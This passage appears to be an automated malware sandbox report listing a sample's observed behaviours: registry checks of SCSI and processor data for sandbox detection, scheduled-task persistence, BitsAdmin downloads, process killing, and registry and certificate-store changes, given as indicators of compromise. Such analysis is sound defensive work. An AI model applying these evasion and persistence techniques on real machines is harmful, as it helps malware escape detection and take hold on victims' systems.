WerFault.exe GcleanerEU.exe 4720 4428 WerFault.exe GcleanerEU.exe -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
tapinstall.exesvchost.exesvchost.exe2cXpgEd_3C58sTQEbz5GciRz.exeDrvInst.exevwcireutapinstall.exevwcireuvwcireuvwcireuvwcireuvwcireuvwcireuvwcireuDrvInst.exevwcireuPowerControl_Svc.exeMon17a0d8ec302e.exevwcireuvwcireuvwcireuvwcireuConhost.exevwcireuvwcireudescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2cXpgEd_3C58sTQEbz5GciRz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Capabilities svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Phantom DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2cXpgEd_3C58sTQEbz5GciRz.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI PowerControl_Svc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Mon17a0d8ec302e.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Conhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Conhost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Phantom DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064 svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Conhost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI vwcireu -
Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
Soft1WW01.exe4IfJXZwzYDn2VXHij3ctLJV2.exesvchost.exesvchost.exeschtasks.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Soft1WW01.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 4IfJXZwzYDn2VXHij3ctLJV2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 4IfJXZwzYDn2VXHij3ctLJV2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Soft1WW01.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 schtasks.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString schtasks.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 8236 schtasks.exe 100 schtasks.exe 6828 schtasks.exe 7092 schtasks.exe 1004 schtasks.exe 6456 schtasks.exe 6464 schtasks.exe 3968 schtasks.exe 3176 schtasks.exe 360 schtasks.exe 9468 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 4872 timeout.exe 8280 timeout.exe 7128 timeout.exe -
Download via BitsAdmin 1 TTPs 2 IoCs
-
Kills process with taskkill 18 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 5964 taskkill.exe 7236 taskkill.exe 7656 taskkill.exe 8036 taskkill.exe 4980 taskkill.exe 6148 taskkill.exe 68 taskkill.exe 8172 taskkill.exe 7716 taskkill.exe 6096 taskkill.exe 5508 taskkill.exe 5720 taskkill.exe 2332 taskkill.exe 7800 taskkill.exe 6216 taskkill.exe 596 taskkill.exe 6556 taskkill.exe 1948 taskkill.exe -
Processes:
mshta.exebrowser_broker.exemsfeedssync.exebrowser_broker.exebrowser_broker.exebrowser_broker.exeOneDriveSetup.exebrowser_broker.exemshta.exebrowser_broker.exebrowser_broker.exemshta.exeMicrosoftEdge.exeMicrosoftEdgeCP.exebrowser_broker.exebrowser_broker.exeraserver.exeMicrosoftEdge.exebrowser_broker.exepowershell.exeMicrosoft.SharePoint.exeMicrosoftEdgeCP.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Enable = "1" mshta.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Suggested Sites msfeedssync.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU mshta.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Suggested Sites\DeletePending = "0" msfeedssync.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" msfeedssync.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100" mshta.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch msfeedssync.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Suggested Sites\UploadDiagInfo = 0200000000000000000000000000000000000000000000000000000000000000e415020038551535c8cfd7010400000096321135c8cfd70196321135c8cfd7016801000068010000000301 msfeedssync.exe Key created \Registry\User\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 raserver.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Size = "10" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Factor = "20" mshta.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main powershell.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main Microsoft.SharePoint.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
svchost.exemask_svc.exeDrvInst.exesvchost.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2431 = "Cuba Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-731 = "Fiji Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1721 = "Libya Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-261 = "GMT Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-441 = "Arabian Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1802 = "Line Islands Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-672 = "AUS Eastern Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-982 = "Kamchatka Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-502 = "Nepal Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1972 = "Belarus Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2142 = "Transbaikal Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1502 = "Turkey Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-52 = "Greenland Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-151 = "Central America Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-382 = "South Africa Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople mask_svc.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1471 = "Magadan Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2512 = "Lord Howe Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" Set value 